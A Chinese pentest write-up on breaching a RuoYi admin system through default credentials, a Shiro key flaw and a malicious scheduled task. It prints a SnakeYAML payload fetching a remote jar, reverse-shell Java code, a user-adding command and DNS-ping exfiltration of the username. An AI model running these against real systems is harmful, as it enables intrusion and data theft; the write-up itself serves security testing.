<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次若依后臺管理系統滲透

    VSole2023-03-27 11:28:07
    1. 1. 前言

    最近客戶開始hw前的風險排查,讓我們幫他做個滲透測試,只給一個單位名稱。通過前期的信息收集,發現了做個站點:

    {width="5.763888888888889in" height="3.203472222222222in"}

    沒有驗證碼,再加上做個圖標,吸引了我注意:

    {width="0.6833333333333333in" height="0.7166666666666667in"}

    1. 1. 從弱口令開始

    若依默認口令為admin/admin123,結果真的直接進了。

    {width="5.766666666666667in" height="3.963888888888889in"}

    管理員權限,直接上工具探測一下是否有若依的幾個漏洞:

    {width="5.767361111111111in" height="4.357638888888889in"}

    工具鏈接:https://github.com/thelostworldFree/Ruoyi-All

    還得是運氣啊!原本想著直接用這個工具一鍵穿的,但是奈何沒利用過若依的洞,這個工具也不會使用。后續去查看了幾篇文章,需要上傳jar包,該漏洞可通過定時任務去調用執行jar包。

    文章地址:https://blog.csdn.net/FY10033/article/details/126206890

    然后坑來了。按照教程去實踐,發現怎么樣也無法執行漏洞。以下是java代碼:

      public AwesomeScriptEngineFactory() {\
        try {\
          Runtime.getRuntime().exec(\"net user test test@123 /add\");\
          Runtime.getRuntime().exec(\"ping tttt.ogjxcqvtbf.dnstunnel.run\");\
          Runtime.getRuntime().exec(\"ping
      %USERNAME%.ogjxcqvtbf.dnstunnel.run\");\
        }catch (IOException e) {\
           e.printStackTrace();\
         }\
      }
    

    1. 1. 還得從shiro入手

    嘗試了一下午后,想想算了,看看有沒有別的洞吧。剛好文章里面有寫到,ruoyi的shiro存在默認密鑰,結果一嘗試,還真的存在。(Ps:這邊有個坑,我用文章里面提到的LiqunKit去嘗試,無法執行命令。后續用了shiro_attack成功命令執行)

    {width="5.764583333333333in" height="2.4895833333333335in"}

    然后通過shiro寫入內存馬:

    {width="5.183333333333334in" height="2.975in"}

    對內存馬感興趣的,可以看下這兩篇文章:

    http://www.manongjc.com/detail/64-jmklbsfdbhdslrw.html

    https://blog.csdn.net/MachineGunJoe/article/details/118088350

    但是可惜,這是一臺云主機,整個內網就一臺主機。很多人可能看到esc,就不想再打了。不過我還是去翻了一下文件夾,把數據庫賬號也拉下來。

    {width="5.767361111111111in" height="4.582638888888889in"}

    這個項目很奇怪,我找到的項目路徑下全是jar包,我都懷疑這個是不是web目錄。在基礎信息里面找到了路徑:

    catalina.home =C:\Users\Administrator\AppData\Local\Temp\2\tomcat.937421519914311975.808

    但是進入該路徑下,發現沒文件,不知道是不是權限不夠。

    {width="5.7659722222222225in" height="1.9326388888888888in"}

    可以看到這邊只限制127.0.0.1的ip訪問,這就很尷尬,所以這邊我使用ligolo代理3306出來,成功進行連接:

    {width="5.641666666666667in" height="6.158333333333333in"}

    工具鏈接:https://github.com/FunnyWolf/ligolo

    其實也嘗試過添加用戶,但是貌似被攔截了。原本想用哥斯拉的內存馬進行一鍵提權的,但是不知道為什么,哥斯拉的內存馬一直連接不上。有大佬懂的,還望不吝賜教。

    1. 1. 再戰定時任務

    但是對于定時任務沒復現出來,我還是很執著,通過查看其它大佬寫的文章,發現了原來這個jar包的代碼有問題,windows和linux的命令執行不一樣,windows沒辦法直接通過exec執行,需要調用cmd進程進行執行。后續參考了這篇文章:

    https://www.cnblogs.com/BOHB-yunying/p/15661384.html

    配置完后,后臺添加定時任務

    org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL

    ["http://vpsip:8000/yaml-payload.jar\"\]\]\]\]\')

    Java部分源碼:

    +-----------------------------------------------------------------------+ | String host="ip"; | | | |    int port = 6767; | | | |    String cmd="cmd.exe"; | | | |    Process p=new | | ProcessBuilder(cmd).redirectErrorStream(true).start(); | | | |    java.net.Socket s=new java.net.Socket(host,port); | | | |    java.io.InputStream | | pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); | | | |    java.io.OutputStream | | po=p.getOutputStream(),so=s.getOutputStream(); | +=======================================================================+ +-----------------------------------------------------------------------+

    然后通過以下命令編譯并打包為jar包:

    +-----------------------------------------------------------------------+ | javac src/artsploit/AwesomeScriptEngineFactory.java //編譯java文件 | | | | jar -cvf yaml-payload.jar -C src/ . //打包jar包 | +=======================================================================+ +-----------------------------------------------------------------------+

    成功反彈shell到我vps上:

    {width="5.761805555555555in" height="1.5215277777777778in"}

    1. 1. 總結與思考

    其實如果整片文章看下來,可能會覺得比較順利,但是其實踩了很多坑,以下是我自己的總結,也和大家分享一下:

    1. 1. 冰蝎多版本不支持shiro_attack生成的內存馬,目前發現3.0Beta 9版本修復版支持;
    2. 2. 若依的定時任務java代碼執行:Linux和windows的執行代碼是不同的,windows需要調用cmd進程去執行,才導致一直測試不成功;
    3. 3. 冰蝎自帶的socks代理和數據庫工具很難用,經常出現奇奇怪怪的問題。可以使用第三方工具。如ligolo,把數據庫端口映射出來,再去訪問登錄。我就是用自帶的數據庫管理工具連不上,然后socks代理也連不上,才使用第三方工具的;
    4. 4. net user添加用戶失敗大概率是權限不足或者殺軟攔截了。上線后可以先tasklist查看是否有殺軟。其實就是和滲透前的信息收集一樣,上線后也要收集一下當前服務器的信息;
    5. 5. 遇到滲透的效果和自己預想的不一樣的情況,要學會排查,猜測問題的原因。如我本次代理3306端口出來,一直去嘗試賬號密碼登錄,但是一直登錄不上。排查了一圈,才發現當時為了安全起見,把我的代理端口限制IP訪問了。
    后臺管理系統
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近客戶開始hw前的風險排查,讓我們幫他做個滲透測試
    項目介紹 前后端分離架構,分離開發,分離部署,前后端互不影響。 前端技術采用vue + antdvPro + axios。 后端采用spring boot + mybatis-plus + hutool等,開源可靠。 基于spring security(jwt) + 用戶UUID雙重認證。 基于AOP實現的接口粒度的鑒權,最細粒度過濾權限資源。 基于hibernate validator實現的校驗
    前端采用 D2Admin 、Vue。后端采用 Python 語言 Django 框架。權限認證使用 Jwt,支持多終端認證系統。整合最新技術,模塊插件式開發,前后端分離,開箱即用。核心技術采用 Spring、MyBatis、Shiro 沒有任何其它重度依賴。包括二次封裝組件、utils、hooks、動態菜單、權限校驗、按鈕級別權限控制等功能。
    介紹一下攻防思路及實踐
    前言最近一段時間忙于學習JAVA安全以及企業SRC挖掘,很少開展比較完整的滲透測試了。前一段時間高中的老師再次找到我,讓我再次對學校的系統進行一些測試,核心目標是獲取全校師生數據以及校園網的運行數據,最后也是成功拿下。點進去一看,感覺還是有東西的,因為能查成績、能查校園卡消費等等,這一切基本都說明這個系統和校園網有著千絲萬縷的聯系。Ueditor,asp.net站點看到這玩意,十有八九是穩了。
    一. 信息搜集1. 子域名信息搜集2. 網站后臺管理頁面3. 未授權訪問4. index\info目錄信息泄
    屬于是看見管理系統就上頭[泰褲辣],但是SQL注入、邏輯漏洞一套-無果[emoing]。登錄進去之后進行信息搜集,發現是個挖礦的,通過URL:[/index.php?r=index]還以為是之前遇到的YXcms。進一步Fuzz,通過報錯發現服務器是Linux,框架是Yii,并不是我想的Yxcms。直接傳沒傳成,輕微饒了繞,就成了[泰褲辣]。嚕嚕嚕嚕一頓操作,找到了數據庫、AccessKeyId、代理等信息。隨后通過物理路徑找到網站目錄,證實了網站是在拿到權限的這臺服務器上,也證實了最開始的推測。
    對于公益SRC來說,想要沖榜就不能在一個站上浪費大量時間,公益SRC對洞的質量要求不高,所以只要 花時間,還是可以上榜的。在對某站點進行測試SQL注入的時候,先通過一些方式測試是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工測試,然后提交漏洞。任意注冊算是低危漏洞,不過也有兩分。不管是進行SRC漏洞挖掘,還是做項目進行滲透測試,又或者是打紅藍對抗,一定要做好信息收集。
    獨立的Docker Swarm1.2.3以上版本。舊版本的Portainer支持獨立Docker Swarm,而Portainer 1.17.0和更新版本不支持它。但是,對于一般需求,Portainer可能并不適合。此外,DockStation在Docker Hub上十分的受歡迎。未來,會重構成 Spring Cloud Alibaba 。
    gophish釣魚平臺搭建
    2022-07-18 10:59:57
    近期需要組織個應急演練,其中有個科目就是郵件釣魚,為了這個科目進行相關環境搭建,主要利用Gophish搭建釣魚平臺,由于是使用ubuntu所以使用
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类